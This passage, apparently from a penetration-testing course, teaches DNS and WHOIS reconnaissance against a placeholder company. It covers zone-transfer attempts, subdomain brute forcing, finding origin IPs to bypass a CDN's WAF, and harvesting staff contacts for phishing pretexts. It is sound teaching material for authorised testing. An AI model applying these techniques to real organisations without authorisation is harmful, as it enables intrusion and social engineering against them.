&lt;pre class="highlight shell"&gt;&lt;code&gt;dig targetco.com TXT | &lt;span class="nb"&gt;grep &lt;/span&gt;spf

&lt;span class="c"&gt;# v=spf1 include:_spf.google.com include:sendgrid.net include:_spf.salesforce.com ip4:203.0.113.0/24 ip6:2001:db8::/32 ~all&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This single SPF record reveals:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Google Workspace (corporate email)&lt;/li&gt;
&lt;li&gt;SendGrid (marketing/transactional email — phishing campaigns often come from here)&lt;/li&gt;
&lt;li&gt;Salesforce (CRM platform)&lt;/li&gt;
&lt;li&gt;Direct IP range 203.0.113.0/24 (mail server IPs)&lt;/li&gt;
&lt;li&gt;IPv6 range 2001:db8::/32&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;CNAME Record (Canonical Name Record)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Maps one hostname to another hostname (an alias).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dig www.targetco.com CNAME

&lt;span class="c"&gt;# Responses&lt;/span&gt;
www.targetco.com.    300    IN    CNAME    targetco.com.
www.targetco.com.    300    IN    CNAME    d1234567890.cloudfront.net.    ← CloudFront CDN
www.targetco.com.    300    IN    CNAME    targetco.azurewebsites.net.    ← Azure App Service
www.targetco.com.    300    IN    CNAME    targetco.github.io.            ← GitHub Pages
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Intelligence value:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reveals content delivery networks (CloudFront, Cloudflare, Fastly, Akamai)&lt;/li&gt;
&lt;li&gt;Reveals cloud hosting services (Azure Web Apps, AWS Elastic Beanstalk, Heroku, GitHub Pages)&lt;/li&gt;
&lt;li&gt;CNAMEs to third-party services reveal vendor relationships&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Subdomain takeover:&lt;/strong&gt; If a CNAME points to a third-party service that is no longer configured, the subdomain may be vulnerable to takeover&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;PTR Record (Pointer Record / Reverse DNS)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Maps an IP address back to a hostname. The reverse of an A record.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Reverse DNS lookup&lt;/span&gt;
dig &lt;span class="nt"&gt;-x&lt;/span&gt; 203.0.113.50
nslookup 203.0.113.50

&lt;span class="c"&gt;# Response&lt;/span&gt;
50.113.0.203.in-addr.arpa.    3600    IN    PTR    mail.targetco.com.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Intelligence value:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reveals the hostname associated with an IP address&lt;/li&gt;
&lt;li&gt;Particularly valuable when you have an IP from a log, packet capture, or other source and need to identify the system&lt;/li&gt;
&lt;li&gt;Reveals infrastructure naming conventions (the pattern used in &lt;code&gt;mail.targetco.com&lt;/code&gt; vs &lt;code&gt;web01.prod.targetco.com&lt;/code&gt; reveals a lot about internal structure)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;SRV Record (Service Record)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Specifies the location (hostname and port) of servers for specific services.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dig _sip._tcp.targetco.com SRV
dig _autodiscover._tcp.targetco.com SRV
dig _xmpp-server._tcp.targetco.com SRV

&lt;span class="c"&gt;# Response&lt;/span&gt;
_autodiscover._tcp.targetco.com.    3600    IN    SRV    0 0 443 autodiscover.targetco.com.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Intelligence value:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;_autodiscover._tcp&lt;/code&gt; → Microsoft Exchange/Office 365 autodiscovery — confirms Microsoft 365 and reveals Exchange server&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;_sip._tcp&lt;/code&gt; → SIP/VoIP server → Voice over IP infrastructure&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;_xmpp-server._tcp&lt;/code&gt; → XMPP/Jabber server → Instant messaging&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;_kerberos._tcp&lt;/code&gt; → Kerberos → Active Directory present (major finding)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;_ldap._tcp&lt;/code&gt; → LDAP → Active Directory present&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;CAA Record (Certification Authority Authorization)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Specifies which Certificate Authorities (CAs) are authorized to issue SSL/TLS certificates for the domain.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dig targetco.com CAA

&lt;span class="c"&gt;# Response&lt;/span&gt;
targetco.com.    3600    IN    CAA    0 issue &lt;span class="s2"&gt;"letsencrypt.org"&lt;/span&gt;
targetco.com.    3600    IN    CAA    0 issue &lt;span class="s2"&gt;"digicert.com"&lt;/span&gt;
targetco.com.    3600    IN    CAA    0 issuewild &lt;span class="s2"&gt;"digicert.com"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Intelligence value:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reveals which CAs the organization uses → cert monitoring strategy&lt;/li&gt;
&lt;li&gt;If Let's Encrypt only → likely smaller/budget-conscious operations&lt;/li&gt;
&lt;li&gt;If DigiCert/Sectigo/Entrust → enterprise-grade certificates&lt;/li&gt;
&lt;li&gt;Absence of CAA records means any CA can issue certificates → higher phishing certificate risk&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  3.1.6 DNS Reconnaissance — Advanced Techniques
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Zone Transfer (AXFR)
&lt;/h4&gt;

&lt;p&gt;A DNS zone transfer is the mechanism by which DNS servers replicate zone data to secondary servers. If misconfigured, a zone transfer can be requested by anyone, returning the complete list of all DNS records in the zone.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attempting a zone transfer:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Identify nameservers first&lt;/span&gt;
dig targetco.com NS

&lt;span class="c"&gt;# Attempt zone transfer from each nameserver&lt;/span&gt;
dig axfr targetco.com @ns1.targetco.com
dig axfr targetco.com @ns2.targetco.com

&lt;span class="c"&gt;# Using nslookup&lt;/span&gt;
nslookup
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; server ns1.targetco.com
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; targetco.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Successful zone transfer result:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt; &amp;lt;&amp;lt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; DiG 9.18.0 &amp;lt;&amp;lt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; axfr targetco.com @ns1.targetco.com
targetco.com.        86400    IN    SOA    ns1.targetco.com. admin.targetco.com. ...
targetco.com.        86400    IN    NS     ns1.targetco.com.
targetco.com.        86400    IN    A      203.0.113.50
www.targetco.com.    86400    IN    A      203.0.113.50
mail.targetco.com.   86400    IN    A      203.0.113.10
vpn.targetco.com.    86400    IN    A      203.0.113.15
dev.targetco.com.    86400    IN    A      10.0.1.100
staging.targetco.com. 86400  IN    A      203.0.113.20
db01.targetco.com.   86400    IN    A      10.0.1.200
internal.targetco.com. 86400 IN    A      10.0.0.1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This instantly reveals the entire internal network structure. Zone transfers are considered &lt;strong&gt;active reconnaissance&lt;/strong&gt; (you're querying the target's DNS server), but the information returned is public (just poorly protected).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Most modern, properly configured DNS servers restrict zone transfers to specific secondary server IPs. Zone transfer success is itself a critical vulnerability finding.&lt;/p&gt;

&lt;h4&gt;
  
  
  DNS Brute Forcing
&lt;/h4&gt;

&lt;p&gt;When zone transfers fail (as they usually should), subdomain discovery is accomplished by brute forcing — querying the target's DNS server with a list of common subdomain names.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Using dnsx&lt;/span&gt;
dnsx &lt;span class="nt"&gt;-d&lt;/span&gt; targetco.com &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt

&lt;span class="c"&gt;# Using ffuf for DNS brute forcing&lt;/span&gt;
ffuf &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt &lt;span class="nt"&gt;-u&lt;/span&gt; http://FUZZ.targetco.com &lt;span class="nt"&gt;-v&lt;/span&gt;

&lt;span class="c"&gt;# Using gobuster for DNS enumeration&lt;/span&gt;
gobuster dns &lt;span class="nt"&gt;-d&lt;/span&gt; targetco.com &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt

&lt;span class="c"&gt;# Using amass (passive mode — no active queries)&lt;/span&gt;
amass enum &lt;span class="nt"&gt;-passive&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; targetco.com

&lt;span class="c"&gt;# Using amass (active mode)&lt;/span&gt;
amass enum &lt;span class="nt"&gt;-active&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; targetco.com &lt;span class="nt"&gt;-brute&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Common Subdomain Wordlists:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SecLists (&lt;code&gt;/usr/share/seclists/Discovery/DNS/&lt;/code&gt;) — The de-facto standard&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;subdomains-top1million-5000.txt&lt;/code&gt; — Fast, covers most common subdomains&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;subdomains-top1million-110000.txt&lt;/code&gt; — Comprehensive&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;dns-Jhaddix.txt&lt;/code&gt; — Curated by renowned bug bounty hunter Jason Haddix&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  DNS History and Passive DNS
&lt;/h4&gt;

&lt;p&gt;Historical DNS records reveal:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Previous IP addresses (before migration to cloud/CDN)&lt;/li&gt;
&lt;li&gt;Past subdomain configurations&lt;/li&gt;
&lt;li&gt;Infrastructure changes over time&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Tools for DNS history:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;URL&lt;/th&gt;
&lt;th&gt;What it Shows&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SecurityTrails&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://securitytrails.com" rel="noopener noreferrer"&gt;https://securitytrails.com&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Complete DNS history, subdomains, IP history&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DNSHistory.io&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://dnshistory.org" rel="noopener noreferrer"&gt;https://dnshistory.org&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Historical DNS records&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ViewDNS.info&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://viewdns.info" rel="noopener noreferrer"&gt;https://viewdns.info&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;DNS history, reverse IP, IP history&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PassiveDNS (Farsight DNSDB)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www.farsightsecurity.com" rel="noopener noreferrer"&gt;https://www.farsightsecurity.com&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Passive DNS database (enterprise)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RiskIQ Community&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://community.riskiq.com" rel="noopener noreferrer"&gt;https://community.riskiq.com&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Passive DNS, certificate history&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Why DNS history matters:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Organizations that move from direct hosting to CDN (e.g., Cloudflare) often have their real IP address in DNS history before the move. The CDN hides the real IP in current DNS, but historical records expose it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Current A record: targetco.com → 104.21.x.x (Cloudflare IP — not the real server)
Historical DNS:   targetco.com → 203.0.113.50 (Real origin server, now bypasses CDN)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Direct access to the origin IP bypasses:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Web Application Firewall (WAF)&lt;/li&gt;
&lt;li&gt;DDoS protection&lt;/li&gt;
&lt;li&gt;Rate limiting&lt;/li&gt;
&lt;li&gt;Bot detection&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  3.1.7 Identification of Technical and Administrative Contacts
&lt;/h3&gt;

&lt;p&gt;Technical and administrative contacts are directly relevant to penetration testing because:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;They are the people who manage the systems being tested&lt;/li&gt;
&lt;li&gt;Their contact information enables social engineering pretext construction&lt;/li&gt;
&lt;li&gt;Their email addresses are high-value targets for credential phishing&lt;/li&gt;
&lt;li&gt;Their technical roles revealed through public profiles expose technologies in use&lt;/li&gt;
&lt;/ol&gt;

&lt;h4&gt;
  
  
  WHOIS Contact Records
&lt;/h4&gt;

&lt;p&gt;WHOIS records for domain registrations contain:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Registrant contact:&lt;/strong&gt; The entity (person or organization) that owns the domain&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Administrative contact:&lt;/strong&gt; The person responsible for administrative matters&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technical contact:&lt;/strong&gt; The person responsible for technical management
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;whois targetco.com

&lt;span class="c"&gt;# Output (pre-GDPR, or for non-privacy-protected registrations)&lt;/span&gt;
Domain Name: TARGETCO.COM
Registry Domain ID: 1234567890_DOMAIN_COM-VRSN
Registrar: GoDaddy.com, LLC

Registrant Name: John Smith
Registrant Organization: Target Company Inc.
Registrant Street: 123 Corporate Drive
Registrant City: San Francisco
Registrant State/Province: CA
Registrant Postal Code: 94105
Registrant Country: US
Registrant Phone: +1.4155551234
Registrant Email: john.smith@targetco.com

Admin Name: Jane Doe
Admin Email: it-admin@targetco.com

Tech Name: Bob Johnson
Tech Email: dns-admin@targetco.com

Name Server: NS1.TARGETCO.COM
Name Server: NS2.TARGETCO.COM

DNSSEC: unsigned
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Intelligence extracted:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Physical address (useful for physical penetration testing, social engineering)&lt;/li&gt;
&lt;li&gt;Direct email addresses of three named individuals&lt;/li&gt;
&lt;li&gt;Registrar (GoDaddy — relevant for domain hijacking attack surface)&lt;/li&gt;
&lt;li&gt;DNSSEC status (unsigned → no DNSSEC protection → DNS hijacking more feasible)&lt;/li&gt;
&lt;li&gt;Name servers hosting their own DNS (ns1.targetco.com → own DNS infrastructure)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;GDPR Impact on WHOIS:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Since GDPR came into force (May 2018), most domain registrars have redacted personal information from public WHOIS for .com, .net, .org, and other gTLDs for registrants in the EU. This has significantly reduced the intelligence value of WHOIS for many domains. However:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Country-code TLDs (ccTLDs) like .uk, .au, .ca have varying GDPR compliance&lt;/li&gt;
&lt;li&gt;US-based organizations often still have exposed WHOIS data&lt;/li&gt;
&lt;li&gt;WHOIS history tools (SecurityTrails, DomainTools) may have pre-GDPR records&lt;/li&gt;
&lt;li&gt;Whois for IP ranges (ARIN, RIPE, APNIC) is less affected by GDPR&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;WHOIS for IP Ranges:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Organizational IP ranges are registered with Regional Internet Registries (RIRs):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;RIR&lt;/th&gt;
&lt;th&gt;Region&lt;/th&gt;
&lt;th&gt;Website&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ARIN&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;North America&lt;/td&gt;
&lt;td&gt;&lt;a href="https://search.arin.net" rel="noopener noreferrer"&gt;https://search.arin.net&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RIPE NCC&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Europe, Middle East, Central Asia&lt;/td&gt;
&lt;td&gt;&lt;a href="https://apps.db.ripe.net" rel="noopener noreferrer"&gt;https://apps.db.ripe.net&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;APNIC&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Asia-Pacific&lt;/td&gt;
&lt;td&gt;&lt;a href="https://wq.apnic.net" rel="noopener noreferrer"&gt;https://wq.apnic.net&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LACNIC&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Latin America, Caribbean&lt;/td&gt;
&lt;td&gt;&lt;a href="https://lacnic.net" rel="noopener noreferrer"&gt;https://lacnic.net&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AFRINIC&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Africa&lt;/td&gt;
&lt;td&gt;&lt;a href="https://afrinic.net" rel="noopener noreferrer"&gt;https://afrinic.net&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# IP WHOIS lookup&lt;/span&gt;
whois 203.0.113.50

&lt;span class="c"&gt;# Response&lt;/span&gt;
NetRange: 203.0.113.0 - 203.0.113.255
CIDR: 203.0.113.0/24
NetName: TARGETCO-NET
NetHandle: NET-203-0-113-0-1
Parent: &lt;span class="o"&gt;(&lt;/span&gt;NET-203-0-0-0-1&lt;span class="o"&gt;)&lt;/span&gt;
NetType: Direct Assignment
Organization: Target Company Inc. &lt;span class="o"&gt;(&lt;/span&gt;TCI-12&lt;span class="o"&gt;)&lt;/span&gt;
OrgName: Target Company Inc.
OrgId: TCI-12
Address: 123 Corporate Drive
City: San Francisco
StateProv: CA
PostalCode: 94105
Country: US
OrgAbuseEmail: abuse@targetco.com
OrgTechEmail: noc@targetco.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This reveals the organization's &lt;strong&gt;full IP range&lt;/strong&gt;, enabling systematic scanning of all their registered IPs, and exposes NOC (Network Operations Center) and abuse contact emails — technical staff.&lt;/p&gt;

&lt;h4&gt;
  
  
  BGP Intelligence — Autonomous System Numbers
&lt;/h4&gt;

&lt;p&gt;Large organizations own their own IP routing infrastructure, identified by an &lt;strong&gt;Autonomous System Number (ASN)&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Find ASN for organization&lt;/span&gt;
whois &lt;span class="nt"&gt;-h&lt;/span&gt; whois.bgp.he.net targetco.com

&lt;span class="c"&gt;# Query BGP routing data&lt;/span&gt;
&lt;span class="c"&gt;# https://bgp.he.net  ← Hurricane Electric BGP Toolkit&lt;/span&gt;
&lt;span class="c"&gt;# https://bgpview.io  ← Visual BGP explorer&lt;/span&gt;

&lt;span class="c"&gt;# Tool: asnmap&lt;/span&gt;
asnmap &lt;span class="nt"&gt;-a&lt;/span&gt; AS12345      &lt;span class="c"&gt;# Get all IPs for an ASN&lt;/span&gt;
asnmap &lt;span class="nt"&gt;-org&lt;/span&gt; &lt;span class="s2"&gt;"Target Company"&lt;/span&gt;   &lt;span class="c"&gt;# Find ASN by org name&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why ASN intelligence matters:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;An organization's ASN reveals their entire IPv4 and IPv6 address space — every IP range they legitimately own globally. This is the most comprehensive method of identifying all the organization's Internet-facing IP space.&lt;/p&gt;




&lt;h3&gt;
  
  
  3.1.8 WHOIS Intelligence — Extracting Maximum Value
&lt;/h3&gt;

&lt;p&gt;Beyond the basic contact information, WHOIS data contains several additional intelligence dimensions:&lt;/p&gt;

&lt;h4&gt;
  
  
  Domain Portfolio Discovery
&lt;/h4&gt;

&lt;p&gt;Organizations typically own multiple domains — the primary domain, branded product domains, defensive registrations, and regional variations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reverse WHOIS:&lt;/strong&gt; Finding all domains registered by the same registrant:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Using DomainTools (commercial)&lt;/span&gt;
&lt;span class="c"&gt;# Search by registrant email, name, or organization&lt;/span&gt;

&lt;span class="c"&gt;# Using ViewDNS.info (free)&lt;/span&gt;
&lt;span class="c"&gt;# https://viewdns.info/reversewhois/&lt;/span&gt;

&lt;span class="c"&gt;# Using SecurityTrails&lt;/span&gt;
&lt;span class="c"&gt;# https://securitytrails.com/list/registrant_email/it-admin@targetco.com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This can reveal:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Unreleased product domains&lt;/li&gt;
&lt;li&gt;Acquisition targets (domains registered for companies being acquired)&lt;/li&gt;
&lt;li&gt;Internal project names&lt;/li&gt;
&lt;li&gt;Regional subsidiaries&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Registrar Security Analysis
&lt;/h4&gt;

&lt;p&gt;The domain registrar is a critical attack surface. Registrar account compromise enables:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;DNS hijacking (changing NS records to attacker-controlled servers)&lt;/li&gt;
&lt;li&gt;Domain transfer to attacker control&lt;/li&gt;
&lt;li&gt;WHOIS email change (enabling password reset attacks on services)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Indicators of registrar security posture:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Registrar reputation (GoDaddy, Namecheap vs. enterprise registrars like MarkMonitor)&lt;/li&gt;
&lt;li&gt;DNSSEC enabled (protects against certain DNS attacks)&lt;/li&gt;
&lt;li&gt;Registrar lock status (prevents unauthorized transfers)&lt;/li&gt;
&lt;li&gt;Privacy protection status&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  3.1.9 DNS Lookups — Lab-Level Practical Reference
&lt;/h3&gt;

&lt;p&gt;This section provides a comprehensive, hands-on reference for DNS reconnaissance commands and workflows as used in professional lab environments.&lt;/p&gt;

&lt;h4&gt;
  
  
  Essential DNS Tools
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;dig (Domain Information Groper)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The primary command-line DNS tool. Highly flexible and returns detailed information.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Basic A record lookup&lt;/span&gt;
dig targetco.com

&lt;span class="c"&gt;# Specific record type&lt;/span&gt;
dig targetco.com MX
dig targetco.com NS
dig targetco.com TXT
dig targetco.com AAAA
dig targetco.com SOA
dig targetco.com CAA
dig targetco.com SRV

&lt;span class="c"&gt;# Short output (answer only)&lt;/span&gt;
dig targetco.com +short

&lt;span class="c"&gt;# All records (equivalent to ANY — not all servers honor this)&lt;/span&gt;
dig targetco.com ANY

&lt;span class="c"&gt;# Trace the complete resolution path&lt;/span&gt;
dig targetco.com +trace

&lt;span class="c"&gt;# Reverse lookup&lt;/span&gt;
dig &lt;span class="nt"&gt;-x&lt;/span&gt; 203.0.113.50

&lt;span class="c"&gt;# Query a specific DNS server&lt;/span&gt;
dig @8.8.8.8 targetco.com        &lt;span class="c"&gt;# Use Google's DNS&lt;/span&gt;
dig @1.1.1.1 targetco.com        &lt;span class="c"&gt;# Use Cloudflare's DNS&lt;/span&gt;
dig @ns1.targetco.com targetco.com  &lt;span class="c"&gt;# Query target's own nameserver&lt;/span&gt;

&lt;span class="c"&gt;# Zone transfer attempt&lt;/span&gt;
dig axfr targetco.com @ns1.targetco.com

&lt;span class="c"&gt;# DNS over HTTPS (bypasses local DNS filtering)&lt;/span&gt;
dig targetco.com @https://cloudflare-dns.com/dns-query

&lt;span class="c"&gt;# DNSSEC verification&lt;/span&gt;
dig targetco.com +dnssec
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;nslookup&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Simpler DNS tool, available on Windows and Linux.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Basic lookup&lt;/span&gt;
nslookup targetco.com

&lt;span class="c"&gt;# Specific record type&lt;/span&gt;
nslookup &lt;span class="nt"&gt;-type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;MX targetco.com
nslookup &lt;span class="nt"&gt;-type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;NS targetco.com
nslookup &lt;span class="nt"&gt;-type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;TXT targetco.com
nslookup &lt;span class="nt"&gt;-type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ANY targetco.com

&lt;span class="c"&gt;# Query specific server&lt;/span&gt;
nslookup targetco.com 8.8.8.8

&lt;span class="c"&gt;# Interactive mode for zone transfer&lt;/span&gt;
nslookup
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; server ns1.targetco.com
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;set type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;any
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; targetco.com
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; targetco.com   &lt;span class="c"&gt;# Zone transfer in interactive mode&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



